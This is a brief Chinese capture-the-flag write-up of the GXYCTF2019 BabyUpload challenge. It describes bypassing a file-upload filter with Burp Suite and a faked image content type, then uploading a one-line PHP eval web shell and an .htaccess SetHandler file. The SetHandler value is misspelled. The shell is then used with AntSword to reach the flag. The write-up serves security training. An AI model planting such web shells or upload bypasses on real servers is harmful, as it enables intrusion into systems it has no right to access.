文件上传例题：[GXYCTF2019]BabyUpload

打开网址明显文件上传

上传简单php马尝试

后缀名过滤，使用BP抓包进行修改

提示文件类型不对，修改成image/jpeg

提示还是php，那换成js马

<script language="php">eval($_POST['cmd']);</script>

上传成功

解析php代码需要.htaccess文件

在文件内写入

SetHandler application/x-thhpd-php

这条命令可以解析所有后缀文件为php代码

上传.htaccess文件

响应，接着上传js马

使用蚁剑连接

在根目录下找到flag